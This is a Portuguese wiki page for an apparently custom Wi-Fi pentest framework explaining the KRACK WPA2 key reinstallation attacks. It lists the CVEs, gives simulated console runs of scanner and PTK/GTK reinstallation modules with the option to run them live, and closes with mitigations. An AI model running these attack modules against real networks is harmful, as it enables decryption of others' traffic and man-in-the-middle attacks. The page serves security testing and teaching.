-
Notifications
You must be signed in to change notification settings - Fork 2
KRACK ptBR
Idioma: Português (pt-BR) | English: KRACK
KRACK (Key Reinstallation Attacks - Ataques de Reinstalação de Chave) é uma categoria de ataques contra o protocolo WPA2 descoberta por Mathy Vanhoef e publicada em 2017. Os ataques exploram o handshake de 4 vias e o handshake de chave de grupo do WPA2, permitindo que um atacante decripte, reproduza e potencialmente forje frames wireless.
| CVE | Nome | Alvo | CVSS |
|---|---|---|---|
| CVE-2017-13077 | Reinstalação PTK via msg3 do handshake 4-way | Cliente | 8,1 |
| CVE-2017-13078 | Reinstalação GTK via msg3 do handshake 4-way | Cliente | 5,3 |
| CVE-2017-13079 | Reinstalação IGTK via msg3 do handshake 4-way | Cliente | 5,3 |
| CVE-2017-13080 | Reinstalação GTK via handshake de chave de grupo | Cliente | 5,3 |
| CVE-2017-13081 | Reinstalação IGTK via handshake de chave de grupo | Cliente | 5,3 |
| CVE-2017-13082 | Retransmissão de Fast BSS Transition Reassoc Request | AP | 8,1 |
| CVE-2017-13084 | Reinstalação STK em PeerKey | Cliente | 5,3 |
| CVE-2017-13086 | Reinstalação TK em TDLS | Cliente | 5,3 |
| CVE-2017-13087 | Reinstalação GTK em sono de Wireless Network Management | Cliente | 5,3 |
| CVE-2017-13088 | Reinstalação IGTK em sono de Wireless Network Management | Cliente | 5,3 |
| Módulo | Descrição |
|---|---|
krack/krack_scanner |
Scanner passivo para indicadores de reutilização de nonce KRACK |
krack/krack_4way_retransmit |
CVE-2017-13077 - Reinstalação PTK via retransmissão de Msg3 |
krack/krack_group_key_retransmit |
CVE-2017-13080 - Reinstalação GTK via replay do handshake de chave de grupo |
cve/krack_attack |
Suite KRACK completa (todos os CVEs, wrapper) |
O handshake de 4 vias é usado para estabelecer uma nova PTK (Pairwise Transient Key) entre cliente e AP:
STA AP
| |
| <-- Msg1: ANonce |
| --> Msg2: SNonce + MIC |
| <-- Msg3: GTK + MIC + Install |
| --> Msg4: Ack |
| |
[Both install PTK, begin encryption]
Quando o cliente recebe a Msg3, instala a PTK e começa a cifrar tráfego. O AP pode retransmitir a Msg3 se não receber a Msg4 a tempo. Se o cliente receber uma Msg3 retransmitida, ele reinstala a chave já instalada, reiniciando o nonce criptográfico (número de pacote) para zero.
Reutilização de nonce com a mesma chave em CCMP quebra a confidencialidade (reutilização de keystream). Em TKIP, também quebra a integridade.
wxf > use generic/wifi_lab/krack/krack_scanner
wxf (KRACKScanner) > set INTERFACE wlan0mon
wxf (KRACKScanner) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (KRACKScanner) > run
[*] Scanning for KRACK indicators on wlan0mon
[*] Target: AA:BB:CC:DD:EE:FF
[*] Probe 1: Checking for 802.11w (PMF) support... not advertised
[*] Probe 2: Monitoring 4-way handshake nonce patterns...
[*] Probe 3: Checking for WPA2 vs WPA3 SAE advertisement...
Results:
Protocol: WPA2-PSK (CCMP)
PMF: disabled (CVE-2017-13082 risk elevated)
WPA3 transition: no
KRACK overall: LIKELY VULNERABLE (WPA2 without PMF)
CVE-2017-13077: POSSIBLE (PTK reinstall requires client test)
CVE-2017-13080: POSSIBLE (GTK reinstall requires group key observation)
[*] To confirm: test with krack_4way_retransmit (requires active client)
Impacto: Ao interceptar e reproduzir a Msg3 do handshake de 4 vias, o atacante força o cliente a reinstalar a chave de par com nonce zerado. Isso permite decriptar o tráfego subsequente do cliente via reutilização de keystream.
Fluxo do ataque:
Handshake 4-way normal:
STA <-- Msg3 (encrypted GTK, install PTK now)
STA --> Msg4 (ack)
[PTK installed, nonce=1]
KRACK attack:
[Attacker blocks Msg4 from reaching AP]
AP retransmits Msg3
STA <-- Msg3 (retransmit)
STA reinstalls PTK, nonce reset to 0
STA --> Msg4 (ack)
[PTK reinstalled, nonce=0 again]
STA sends frame: nonce=1, keystream already known
[Attacker can XOR to recover plaintext]
wxf > use generic/wifi_lab/krack/krack_4way_retransmit
wxf (KRACK-4Way) > show options
Options:
INTERFACE wlan0mon Interface em modo monitor
TARGET_BSSID (required) BSSID do AP alvo
TARGET_STA (required) Endereço MAC do cliente alvo
SIMULATE true Simulação sem transmitir
wxf (KRACK-4Way) > set INTERFACE wlan0mon
wxf (KRACK-4Way) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (KRACK-4Way) > set TARGET_STA 11:22:33:44:55:66
wxf (KRACK-4Way) > set SIMULATE true
wxf (KRACK-4Way) > run
[SIMULATE] CVE-2017-13077: PTK Reinstallation Attack
[SIMULATE] Target AP: AA:BB:CC:DD:EE:FF
[SIMULATE] Target STA: 11:22:33:44:55:66
[SIMULATE] Step 1: Monitoring 4-way handshake...
[SIMULATE] Msg1 observed: AP -> STA (ANonce captured)
[SIMULATE] Msg2 observed: STA -> AP (SNonce captured)
[SIMULATE] Msg3 observed: AP -> STA (encrypted GTK, PTK installed in STA)
[SIMULATE] Blocking Msg4 from reaching AP...
[SIMULATE] Step 2: AP retransmits Msg3...
[SIMULATE] Msg3 retransmit forwarded to STA
[SIMULATE] STA reinstalls PTK, resets nonce to 0
[SIMULATE] Step 3: Collect encrypted frames with nonce=1 (repeated)
[SIMULATE] Keystream XOR: plaintext partially recoverable
[SIMULATE] Vulnerability confirmed: STA accepted Msg3 retransmit
[!] Set SIMULATE=false to run live
[!] PREREQ: wlan0mon + ability to block/inject frames (channel + MitM position)
[!] NOTE: Most clients patched after 2017. Android 6/7 were most affected.
Impacto: Ao reproduzir o handshake de chave de grupo, o atacante força a reinstalação da chave de grupo (GTK) com contador de replay zerado, permitindo replay de frames broadcast/multicast.
wxf > use generic/wifi_lab/krack/krack_group_key_retransmit
wxf (KRACK-GroupKey) > show options
Options:
INTERFACE wlan0mon Interface em modo monitor
TARGET_BSSID (required) BSSID do AP alvo
TARGET_STA (required) Endereço MAC do cliente alvo
SIMULATE true Simulação
wxf (KRACK-GroupKey) > set INTERFACE wlan0mon
wxf (KRACK-GroupKey) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (KRACK-GroupKey) > set TARGET_STA 11:22:33:44:55:66
wxf (KRACK-GroupKey) > set SIMULATE true
wxf (KRACK-GroupKey) > run
[SIMULATE] CVE-2017-13080: GTK Reinstallation via Group Key Handshake Replay
[SIMULATE] Target AP: AA:BB:CC:DD:EE:FF
[SIMULATE] Target STA: 11:22:33:44:55:66
[SIMULATE] Step 1: Monitor group key handshake (AP -> STA, encrypted with PTK)
[SIMULATE] Group Key Msg1 captured (contains new GTK)
[SIMULATE] Group Key Msg2 observed: STA -> AP (ack)
[SIMULATE] Step 2: Block Msg2 reaching AP
[SIMULATE] AP retransmits Group Key Msg1
[SIMULATE] STA reinstalls GTK, replay counter reset to 0
[SIMULATE] Step 3: Replay a previously captured broadcast frame
[SIMULATE] Old DHCP broadcast: timestamp T-60s, replay counter X
[SIMULATE] After GTK reinstall: counter reset, old frame accepted
[SIMULATE] Effect: ARP/DHCP replay, potential IP conflict / MitM opportunity
[!] Set SIMULATE=false to run live
[!] PREREQ: MitM position between STA and AP + wlan0mon
- Aplicar todas as atualizações de sistema operacional e driver (praticamente todas as plataformas corrigidas até 2018)
- Verificar se os clientes não estão executando Android 6.x / 7.x sem patch
- Habilitar WPA3-SAE onde disponível (SAE não é afetado pelo KRACK)
- Habilitar PMF (802.11w) para proteger frames de gerenciamento
- Utilizar protocolos de camada de aplicação cifrados (HTTPS, TLS, VPN) como defesa em profundidade
Referências:
Páginas relacionadas: FragAttacks | Ataques Wi-Fi | Configuração
Autor: André Henrique (@mrhenrike) | União Geek
Primeiros Passos
Ataques Wireless
Drones e UAV
Protocolos Especializados
Ferramentas de Pentest
Hardware